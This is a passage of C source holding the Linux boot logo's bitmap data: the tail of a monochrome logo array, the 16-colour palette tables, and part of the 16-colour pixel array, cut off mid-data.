    0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x21, 0x21,
    0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x21, 0x20, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x21, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x20, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
};

#endif /* !__HAVE_ARCH_LINUX_LOGOBW */

#ifndef __HAVE_ARCH_LINUX_LOGO16

unsigned char linux_logo16_red[] __initdata = {
    0x76, 0xd9, 0xff, 0xa5, 0x5d, 0x49, 0x02, 0x00,
    0xf5,
};

unsigned char linux_logo16_green[] __initdata = {
    0x80, 0xdd, 0xff, 0xad, 0x6e, 0x43, 0x02, 0x00,
    0xbd,
};

unsigned char linux_logo16_blue[] __initdata = {
    0x92, 0xe1, 0xff, 0xb7, 0x7d, 0x36, 0x04, 0x00,
    0x0c,
};

unsigned char linux_logo16[] __initdata = {
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x22, 0x20,
    0x20, 0x21, 0x22, 0x21, 0x23, 0x24, 0x25, 0x24,
    0x21, 0x20, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x23, 0x21, 0x20, 0x23,
    0x21, 0x21, 0x23, 0x24, 0x21, 0x22, 0x22, 0x23,
    0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x24,
    0x24, 0x20, 0x24, 0x24, 0x20, 0x20, 0x23, 0x21,
    0x21, 0x20, 0x24, 0x25, 0x25, 0x23, 0x24, 0x20,
    0x23, 0x20, 0x21, 0x22, 0x23, 0x24, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x20, 0x20, 0x24, 0x25,
    0x20, 0x20, 0x24, 0x24, 0x23, 0x21, 0x21, 0x23,
    0x20, 0x23, 0x21, 0x23, 0x25, 0x20, 0x20, 0x24,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x24, 0x21, 0x21, 0x22,
    0x22, 0x22, 0x23, 0x24, 0x21, 0x21, 0x23, 0x25,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x23, 0x22,
    0x21, 0x20, 0x20, 0x20, 0x24, 0x20, 0x20, 0x23,
    0x23, 0x20, 0x21, 0x21, 0x23, 0x20, 0x24, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x24,
    0x24, 0x20, 0x20, 0x20, 0x21, 0x22, 0x22, 0x23,
    0x25, 0x25, 0x25, 0x23, 0x20, 0x23, 0x20, 0x20,
    0x22, 0x22, 0x20, 0x24, 0x24, 0x20, 0x24, 0x24,
    0x24, 0x20, 0x20, 0x20, 0x25, 0x25, 0x23, 0x22,
    0x22, 0x22, 0x23, 0x24, 0x23, 0x20, 0x25, 0x24,
    0x24, 0x24, 0x20, 0x20, 0x24, 0x20, 0x24, 0x20,
    0x24, 0x20, 0x24, 0x20, 0x20, 0x24, 0x23, 0x22,
    0x21, 0x20, 0x20, 0x23, 0x24, 0x23, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x22, 0x23, 0x24, 0x20, 0x20,
    0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x24,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x22, 0x21, 0x20,
    0x23, 0x23, 0x20, 0x23, 0x20, 0x23, 0x20, 0x20,
    0x21, 0x21, 0x20, 0x24, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x20, 0x24, 0x25, 0x24,
    0x23, 0x23, 0x23, 0x24, 0x24, 0x25, 0x25, 0x25,
    0x25, 0x25, 0x25, 0x24, 0x24, 0x20, 0x20, 0x20,
    0x20, 0x24, 0x20, 0x24, 0x24, 0x20, 0x23, 0x22,
    0x22, 0x20, 0x24, 0x23, 0x24, 0x23, 0x20, 0x20,
    0x20, 0x20, 0x22, 0x22, 0x23, 0x24, 0x20, 0x24,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x20,
    0x23, 0x23, 0x24, 0x23, 0x20, 0x20, 0x20, 0x23,
    0x22, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x24, 0x20, 0x20, 0x20, 0x24, 0x25,
    0x25, 0x25, 0x24, 0x25, 0x26, 0x26, 0x26, 0x26,
    0x26, 0x26, 0x26, 0x25, 0x25, 0x24, 0x20, 0x20,
    0x20, 0x24, 0x24, 0x24, 0x24, 0x20, 0x23, 0x22,
    0x21, 0x20, 0x20, 0x23, 0x24, 0x23, 0x20, 0x20,
    0x24, 0x20, 0x21, 0x22, 0x23, 0x24, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x20,
    0x20, 0x24, 0x24, 0x20, 0x21, 0x21, 0x21, 0x20,
    0x23, 0x23, 0x20, 0x23, 0x20, 0x23, 0x20, 0x23,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x24, 0x24,
    0x24, 0x24, 0x24, 0x20, 0x20, 0x24, 0x20, 0x20,
    0x24, 0x24, 0x25, 0x27, 0x27, 0x26, 0x26, 0x26,
    0x26, 0x27, 0x27, 0x27, 0x26, 0x25, 0x24, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x24, 0x21,
    0x21, 0x20, 0x20, 0x23, 0x24, 0x23, 0x20, 0x24,
    0x20, 0x21, 0x22, 0x21, 0x24, 0x24, 0x20, 0x24,
    0x20, 0x20, 0x20, 0x20, 0x24, 0x20, 0x20, 0x20,
    0x20, 0x24, 0x20, 0x24, 0x23, 0x22, 0x21, 0x24,
    0x20, 0x20, 0x24, 0x23, 0x24, 0x24, 0x24, 0x23,
    0x22, 0x21, 0x20, 0x24, 0x24, 0x24, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x24,
    0x24, 0x26, 0x27, 0x26, 0x26, 0x26, 0x26, 0x26,
    0x26, 0x26, 0x26, 0x25, 0x26, 0x26, 0x26, 0x25,
    0x20, 0x20, 0x20, 0x20, 0x24, 0x20, 0x24, 0x23,
    0x22, 0x20, 0x20, 0x23, 0x20, 0x21, 0x20, 0x23,
    0x22, 0x22, 0x21, 0x23, 0x24, 0x20, 0x20, 0x24,
    0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x24,
    0x23, 0x20, 0x20, 0x23, 0x20, 0x20, 0x23, 0x22,
    0x22, 0x23, 0x24, 0x20, 0x20, 0x24, 0x24, 0x20,
    0x23, 0x23, 0x24, 0x24, 0x24, 0x20, 0x20, 0x24,
    0x25, 0x27, 0x26, 0x26, 0x26, 0x26, 0x26, 0x26,
    0x26, 0x26, 0x26, 0x24, 0x24, 0x26, 0x27, 0x26,
    0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24,
    0x21, 0x23, 0x20, 0x21, 0x21, 0x21, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x25, 0x24, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x24, 0x25, 0x24, 0x24, 0x20, 0x24,
    0x24, 0x24, 0x20, 0x20, 0x24, 0x21, 0x21, 0x20,
    0x23, 0x23, 0x23, 0x21, 0x24, 0x23, 0x21, 0x22,
    0x21, 0x24, 0x24, 0x20, 0x20, 0x20, 0x24, 0x24,
    0x20, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x25,
    0x26, 0x27, 0x26, 0x26, 0x26, 0x26, 0x26, 0x26,
    0x26, 0x27, 0x25, 0x24, 0x25, 0x25, 0x26, 0x27,
    0x25, 0x20, 0x20, 0x24, 0x20, 0x20, 0x20, 0x24,
    0x20, 0x21, 0x22, 0x21, 0x21, 0x21, 0x20, 0x23,
    0x22, 0x21, 0x25, 0x24, 0x20, 0x24, 0x24, 0x20,
    0x20, 0x24, 0x20, 0x20, 0x20, 0x20, 0x24, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x24, 0x20, 0x21, 0x23,
    0x21, 0x22, 0x22, 0x23, 0x24, 0x23, 0x22, 0x22,
    0x20, 0x25, 0x20, 0x24, 0x20, 0x20, 0x20, 0x20,
    0x24, 0x24, 0x20, 0x20, 0x20, 0x24, 0x25, 0x25,
    0x27, 0x26, 0x26, 0x26, 0x26, 0x26, 0x26, 0x26,
    0x26, 0x26, 0x26, 0x25, 0x26, 0x26, 0x26, 0x27,
    0x26, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x25, 0x24, 0x23, 0x22, 0x22, 0x21, 0x20, 0x20,
    0x20, 0x25, 0x24, 0x20, 0x24, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x20, 0x25, 0x23, 0x22,
    0x22, 0x21, 0x22, 0x21, 0x20, 0x23, 0x21, 0x24,
    0x25, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x24,
    0x20, 0x24, 0x24, 0x24, 0x24, 0x20, 0x25, 0x26,
    0x27, 0x26, 0x26, 0x26, 0x26, 0x26, 0x26, 0x26,
    0x26, 0x26, 0x26, 0x26, 0x27, 0x27, 0x26, 0x26,
    0x27, 0x25, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x24, 0x25, 0x25, 0x24, 0x24, 0x20, 0x20, 0x23,
    0x24, 0x24, 0x23, 0x23, 0x20, 0x20, 0x20, 0x20,
    0x24, 0x20, 0x20, 0x24, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x25, 0x24,
    0x23, 0x22, 0x22, 0x21, 0x20, 0x23, 0x25, 0x25,
    0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x25, 0x26,
    0x27, 0x26, 0x26, 0x26, 0x26, 0x26, 0x26, 0x26,
    0x26, 0x26, 0x26, 0x27, 0x27, 0x26, 0x26, 0x26,
    0x27, 0x25, 0x24, 0x24, 0x20, 0x20, 0x20, 0x24,
    0x20, 0x20, 0x24, 0x25, 0x25, 0x24, 0x24, 0x23,
    0x21, 0x21, 0x22, 0x22, 0x21, 0x23, 0x20, 0x24,
    0x24, 0x24, 0x20, 0x20, 0x20, 0x24, 0x20, 0x20,
    0x24, 0x20, 0x20, 0x24, 0x20, 0x24, 0x20, 0x25,
    0x25, 0x24, 0x24, 0x23, 0x24, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x20, 0x20, 0x20, 0x20, 0x24,
    0x20, 0x24, 0x20, 0x20, 0x20, 0x24, 0x25, 0x26,
    0x26, 0x26, 0x26, 0x26, 0x26, 0x26, 0x26, 0x26,
    0x27, 0x27, 0x27, 0x26, 0x26, 0x26, 0x26, 0x26,
    0x27, 0x26, 0x20, 0x20, 0x24, 0x20, 0x20, 0x20,
    0x24, 0x24, 0x20, 0x20, 0x23, 0x21, 0x20, 0x23,
    0x21, 0x21, 0x21, 0x22, 0x22, 0x21, 0x21, 0x20,
    0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x24, 0x20, 0x24, 0x20, 0x20, 0x20,
    0x20, 0x24, 0x24, 0x20, 0x24, 0x23, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x24, 0x24, 0x24,
    0x20, 0x20, 0x20, 0x24, 0x20, 0x24, 0x25, 0x26,
    0x27, 0x26, 0x26, 0x26, 0x26, 0x26, 0x26, 0x27,
    0x26, 0x25, 0x25, 0x26, 0x25, 0x26, 0x27, 0x26,
    0x26, 0x26, 0x24, 0x20, 0x23, 0x20, 0x24, 0x24,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x24, 0x23,
    0x22, 0x22, 0x21, 0x23, 0x24, 0x25, 0x20, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24,
    0x20, 0x24, 0x24, 0x20, 0x20, 0x24, 0x24, 0x20,
    0x24, 0x20, 0x21, 0x23, 0x20, 0x21, 0x22, 0x21,
    0x22, 0x22, 0x21, 0x21, 0x21, 0x20, 0x20, 0x24,
    0x20, 0x24, 0x24, 0x20, 0x20, 0x24, 0x25, 0x27,
    0x25, 0x23, 0x24, 0x26, 0x26, 0x26, 0x27, 0x26,
    0x24, 0x23, 0x23, 0x23, 0x25, 0x26, 0x26, 0x26,
    0x26, 0x26, 0x24, 0x23, 0x23, 0x20, 0x20, 0x20,
    0x24, 0x20, 0x20, 0x23, 0x21, 0x21, 0x24, 0x20,
    0x23, 0x21, 0x23, 0x25, 0x24, 0x20, 0x20, 0x21,
    0x23, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x23, 0x22, 0x21, 0x20, 0x21, 0x22, 0x21,
    0x23, 0x24, 0x25, 0x25, 0x23, 0x23, 0x24, 0x20,
    0x20, 0x24, 0x20, 0x24, 0x20, 0x24, 0x25, 0x26,
    0x20, 0x21, 0x21, 0x24, 0x27, 0x26, 0x27, 0x25,
    0x21, 0x21, 0x21, 0x22, 0x24, 0x27, 0x26, 0x26,
    0x26, 0x26, 0x25, 0x24, 0x25, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x20, 0x24,
    0x25, 0x24, 0x23, 0x20, 0x21, 0x23, 0x23, 0x22,
    0x21, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x23, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x20, 0x23, 0x23, 0x21,
    0x24, 0x24, 0x23, 0x20, 0x23, 0x22, 0x23, 0x24,
    0x24, 0x20, 0x20, 0x20, 0x20, 0x24, 0x25, 0x25,
    0x21, 0x20, 0x21, 0x21, 0x26, 0x27, 0x27, 0x23,
    0x22, 0x20, 0x24, 0x21, 0x21, 0x26, 0x27, 0x26,
    0x26, 0x27, 0x25, 0x20, 0x20, 0x24, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x22, 0x23, 0x24, 0x23,
    0x20, 0x20, 0x23, 0x24, 0x23, 0x20, 0x20, 0x21,
    0x21, 0x20, 0x20, 0x24, 0x20, 0x20, 0x20, 0x20,
    0x24, 0x25, 0x24, 0x20, 0x24, 0x24, 0x20, 0x20,
    0x23, 0x22, 0x22, 0x23, 0x24, 0x25, 0x25, 0x20,
    0x23, 0x20, 0x23, 0x20, 0x21, 0x21, 0x23, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x20, 0x24, 0x26, 0x24,
    0x23, 0x26, 0x25, 0x21, 0x25, 0x26, 0x26, 0x23,
    0x23, 0x27, 0x25, 0x24, 0x22, 0x25, 0x27, 0x26,
    0x26, 0x27, 0x25, 0x20, 0x20, 0x20, 0x24, 0x20,
    0x20, 0x24, 0x24, 0x21, 0x22, 0x21, 0x24, 0x23,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x24, 0x23, 0x22,
    0x21, 0x24, 0x20, 0x20, 0x20, 0x24, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x24,
    0x23, 0x21, 0x21, 0x23, 0x24, 0x23, 0x24, 0x20,
    0x23, 0x20, 0x23, 0x24, 0x23, 0x22, 0x23, 0x20,
    0x24, 0x20, 0x20, 0x24, 0x24, 0x24, 0x25, 0x24,
    0x20, 0x27, 0x25, 0x23, 0x25, 0x26, 0x26, 0x23,
    0x20, 0x27, 0x26, 0x26, 0x21, 0x24, 0x27, 0x26,
    0x26, 0x27, 0x25, 0x24, 0x24, 0x24, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x22, 0x21, 0x24, 0x23,
    0x23, 0x20, 0x23, 0x20, 0x23, 0x24, 0x23, 0x22,
